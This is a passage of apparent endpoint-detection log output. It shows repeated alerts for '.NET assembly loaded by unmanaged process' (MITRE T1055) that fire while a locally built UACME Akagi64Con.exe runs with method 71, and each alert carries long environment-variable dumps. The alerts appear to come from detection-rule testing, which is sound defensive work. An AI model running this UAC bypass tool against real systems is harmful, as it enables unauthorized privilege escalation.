Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:41+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PerfWatson2\8998368ba5c1831b2db76cfb187b85a4\PerfWatson2.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11014041 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.330145 +0100 CET + Params: base_address➜ 7ffcd66f0000, checksum➜ 0, default_address➜ 7ffcd66f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PerfWatson2\8998368ba5c1831b2db76cfb187b85a4\PerfWatson2.ni.exe, image_size➜ 147456, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 9665569474375319552, technique.id: T1055, technique.name: Process Injection, tactic.name: Defense Evasion + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:42+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11014390 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.3899254 +0100 CET + Params: base_address➜ 7ffcbbaf0000, checksum➜ 0, default_address➜ 7ffcbbaf0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe, image_size➜ 2711552, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:42+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11014390 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.3899254 